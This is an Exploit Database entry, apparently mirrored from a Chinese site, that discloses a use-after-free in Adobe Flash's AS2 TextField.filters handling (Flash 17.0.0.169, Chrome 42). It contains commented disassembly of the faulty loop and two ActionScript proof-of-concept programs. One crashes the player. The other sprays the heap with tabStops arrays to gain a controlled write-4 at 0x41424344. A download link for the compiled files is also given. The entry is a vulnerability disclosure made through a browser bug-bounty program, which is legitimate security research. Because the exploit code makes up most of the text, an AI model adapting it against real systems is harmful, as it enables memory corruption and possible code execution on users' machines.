Adobe Flash AS2 – textfield.filters Use-After-Free (2)

• Exploit Database
• 110 阅读

• 作者： bilou
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37848/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143

  Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id   [Tracking for https://code.google.com/p/chromium/issues/detail?id=480496]   Credit is to bilou, working with the Chromium Vulnerability Rewards Program.   --- VULNERABILITY DETAILS A little bug while setting the TextFilter.filters array. Chrome 42.0.2311.90 with Flash 17.0.0.169   VERSION Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169 Operating System: [Win 7 SP1]   REPRODUCTION CASE We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169):   .text:004D6964 loc_4D6964: .text:004D6964 and eax, 0FFFFFFF8h .text:004D6967 pushedi .text:004D6968 mov edi, eax .text:004D696A mov ecx, edi .text:004D696C xor esi, esi .text:004D696E callxAS2_getArrayLength ; here we can override object.length and execute some code .text:004D6973 testeax, eax; if that code frees the object pointed by ebx... .text:004D6975 jle short loc_4D69A3 .text:004D6977 .text:004D6977 loc_4D6977: .text:004D6977 pushedi .text:004D6978 mov ecx, esi .text:004D697A callsub_4D3FE0; get an item from the object .text:004D697F add esp, 4 .text:004D6982 testeax, eax; we have either a filter or 0 here .text:004D6984 jzshort loc_4D6997 .text:004D6986 mov edx, [eax] .text:004D6988 mov ecx, eax .text:004D698A mov eax, [edx+18h] .text:004D698D calleax .text:004D698F pusheax .text:004D6990 mov ecx, ebx; ...we get a use after free here .text:004D6992 callsub_4CDB70; and a write-4 condition here .text:004D6997 .text:004D6997 loc_4D6997: .text:004D6997 mov ecx, edi .text:004D6999 inc esi .text:004D699A callxAS2_getArrayLength .text:004D699F cmp esi, eax .text:004D69A1 jlshort loc_4D6977       Freeing the object pointed by ebx is easy indeed: var tfield:TextField = createTextField("tf",1,1,2,3,4)//create a TextField at depth 1 tfield.filters = [] //create the targeted object createTextField("textf",1,1,2,3,4) //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object   flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344   *************************************************************************** Content of flash_as2_filters_uaf_write4_poc.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "3" //It&apos;s because Flash CS5.5 does not allow naming a property with a numeral   import flash.filters.GlowFilter;   var tfield:TextField = createTextField("tf",1,1,2,3,4)   function f() { _global.mc.createTextField("tf",1,1,2,3,4) }   _global.mc = this _global.counter = 0   var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 1) f() return 10; }   var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o   *************************************************************************** Content of flash_as2_filters_uaf_write4.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "3" //It&apos;s because Flash CS5.5 does not allow naming a property with a numeral   import flash.filters.GlowFilter;     var a1:Array = new Array() var a2:Array = new Array() for (i = 0; i<0x3F8/4;i++) { a2[i] = 0x41424344 } a2[3] = 0 a2[0x324/4] = 0x41414100 a2[0x324/4 + 1] = 0x41424344 a2[0x324/4 + 2] = 0x41414143 a2[0x324/4 + 3] = 0x41414100   for (var i = 0; i<0x200;i++) { var tf:TextFormat = new TextFormat() a1[i] = tf } for (var i = 0; i<0x100;i++) { a1[i].tabStops = a2 }     var tfield:TextField = createTextField("tf",1,1,2,3,4)   function f() { _global.mc.createTextField("tf",1,1,2,3,4) for (var i = 0x100; i<0x200;i++) { _global.a1[i].tabStops = _global.a2 } }   _global.mc = this _global.counter = 0 _global.a1 = a1 _global.a2 = a2   var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 1) f() return 10; }   var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}     tfield.filters = o ---   Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip